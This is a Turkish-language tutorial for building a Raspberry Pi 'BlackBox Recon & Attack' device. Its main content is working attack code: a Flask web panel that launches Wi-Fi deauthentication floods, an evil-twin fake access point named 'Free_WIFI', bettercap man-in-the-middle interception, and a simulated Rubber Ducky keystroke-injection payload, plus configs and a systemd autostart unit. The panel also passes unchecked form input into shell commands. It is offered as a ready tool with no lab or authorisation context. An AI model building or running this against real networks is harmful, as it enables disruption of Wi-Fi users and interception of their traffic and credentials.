/\ /\
{ `---' }
{ O O }
~~> V <~~
\ \|/ /
`-----'____
/ \ \_
{ }\ )_\_ _
| \_/ |/ / \_\_/ )
\__/ /(_/ \__/
(__/
{ `---' }
{ O O }
~~> V <~~
\ \|/ /
`-----'____
/ \ \_
{ }\ )_\_ _
| \_/ |/ / \_\_/ )
\__/ /(_/ \__/
(__/
"The Panters"
Giriş
Günümüzde siber güvenlik alanında penetrasyon testleri, ağ analizleri ve zafiyet değerlendirmeleri önemli bir yer tutuyor. Bu projede, Raspberry Pi platformunu kullanarak, WiFi ağlarını pasif ve aktif olarak analiz edip, sahte erişim noktası kurup, man-in-the-middle saldırısı yapabilen, Bluetooth taraması ve USB Rubber Ducky gibi özellikleriyle tam donanımlı bir sızma aracı geliştireceğiz.
Donanım Bileşenleri
- Raspberry Pi 3 veya 4 Model
- USB WiFi Adaptörü (Monitor mode destekli, örn. Alfa AWUS036NHA)
- USB Bluetooth Adaptörü (Opsiyonel)
- OLED Ekran (I2C ile bağlanır, opsiyonel)
- USB Rubber Ducky veya onun simülasyonu için USB portu
- Güç kaynağı: 5V 3A Powerbank veya adaptör
- Opsiyonel: Fiziksel kontrol için butonlar
Yazılım Bileşenleri
1. Ana Python + Flask Web Paneli
Kullanıcıya tüm saldırı ve tarama fonksiyonlarını web arayüzüyle kontrol etme imkanı verir.
Python:
from flask import Flask, render_template, request, redirect
import subprocess, os
app = Flask(__name__)
monitor_interface = "wlan1mon"
normal_interface = "wlan1"
def enable_monitor_mode():
subprocess.call(f"airmon-ng start {normal_interface}", shell=True)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/wifi_scan')
def wifi_scan():
subprocess.Popen(f"xterm -e 'airodump-ng {monitor_interface}'", shell=True)
return "<pre>WiFi ağı tarama başlatıldı. Terminalde görüntüleyebilirsiniz.</pre>"
@app.route('/deauth', methods=['POST'])
def deauth():
bssid = request.form.get("bssid")
channel = request.form.get("channel")
subprocess.Popen(f"xterm -e 'airodump-ng --bssid {bssid} -c {channel} {monitor_interface}'", shell=True)
subprocess.Popen(f"xterm -e 'aireplay-ng --deauth 50 -a {bssid} {monitor_interface}'", shell=True)
return redirect('/')
@app.route('/evil_twin')
def evil_twin():
subprocess.call("xterm -e 'hostapd ./configs/fake_ap.conf' &", shell=True)
subprocess.call("xterm -e 'dnsmasq -C ./configs/dnsmasq.conf' &", shell=True)
return "Fake Access Point Aktif!"
@app.route('/mitm')
def mitm():
subprocess.Popen("xterm -e 'bettercap -iface wlan0'", shell=True)
return "Man-in-the-middle başladı."
@app.route('/shutdown')
def shutdown():
os.system("shutdown now")
return "Kapatılıyor..."
if __name__ == "__main__":
print("[+] BBR-Pi Web Panel başlatılıyor: http://0.0.0.0:8080")
enable_monitor_mode()
app.run(host="0.0.0.0", port=8080)
2. Web Arayüzü (templates/index.html)
HTML:
<!DOCTYPE html>
<html>
<head>
<title>BBR-Pi Panel</title>
<style>
body { background-color: #111; color: #0f0; font-family: monospace; padding: 20px; }
button { padding: 10px; margin: 5px; font-size: 16px; background: #222; color: #0f0; border: 1px solid #0f0; }
input { padding: 5px; margin: 5px; background: #000; color: #0f0; border: 1px solid #0f0; }
h1 { color: #f00; }
</style>
</head>
<body>
<h1>👽 BlackBox Recon & Attack Pi</h1>
<form action="/wifi_scan"><button>🔍 WiFi Tara</button></form>
<form action="/deauth" method="post">
<h3>💣 Deauth Saldırısı</h3>
BSSID: <input name="bssid"><br>
Kanal: <input name="channel"><br>
<button>🚀 Başlat</button>
</form>
<form action="/evil_twin"><button>👻 Evil Twin Başlat</button></form>
<form action="/mitm"><button>🧠 MITM (bettercap)</button></form>
<form action="/shutdown"><button>❌ Kapat (Shutdown)</button></form>
</body>
</html>
3. Sahte Erişim Noktası Ayarları
hostapd/fake_ap.conf
interface=wlan1
driver=nl80211
ssid=Free_WIFI
hw_mode=g
channel=6
macaddr_acl=0
ignore_broadcast_ssid=0
dnsmasq/dnsmasq.conf
interface=wlan1
dhcp-range=192.168.1.2,192.168.1.50,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
4. USB Rubber Ducky Payload Simülasyonu
Python:
import time, os
payload = [
"GUI r",
"DELAY 500",
"STRING cmd",
"ENTER",
"DELAY 500",
"STRING echo hacked > C:\\\\pwned.txt",
"ENTER"
]
for line in payload:
if line.startswith("DELAY"):
time.sleep(int(line.split()[1]) / 1000)
elif "GUI r" in line:
os.system('xdotool key super+r')
elif line == "ENTER":
os.system('xdotool key Return')
else:
command = line.replace("STRING ", "")
os.system(f'xdotool type "{command}"')
5. Otomatik Başlatma İçin Systemd Servis Dosyası
blackbox.service
Kod:
[Unit]
Description=BlackBox Recon Panel
After=network.target
[Service]
ExecStart=/usr/bin/python3 /home/pi/bbr-pi.py
WorkingDirectory=/home/pi
Restart=always
User=pi
[Install]
WantedBy=multi-user.target
Kurulum:
6. Donanım ve Devre Şeması
+------------------------+
| Raspberry Pi |
| (3/4 Model) |
| |
| GPIO: |
| SDA (GPIO3) <-------- OLED SDA
| SCL (GPIO5) <-------- OLED SCL
| |
| USB Port 1 <-------- WiFi Adaptör (Monitor Mode)
| USB Port 2 <-------- Bluetooth Adaptör (Opsiyonel)
| USB Port 3 <-------- USB Rubber Ducky (Opsiyonel)
| |
+------------------------+
Power Supply (5V 3A) ----> Raspberry Pi Power Input
Butonlar ---> GPIO Pinlerine Bağlı (Opsiyonel)

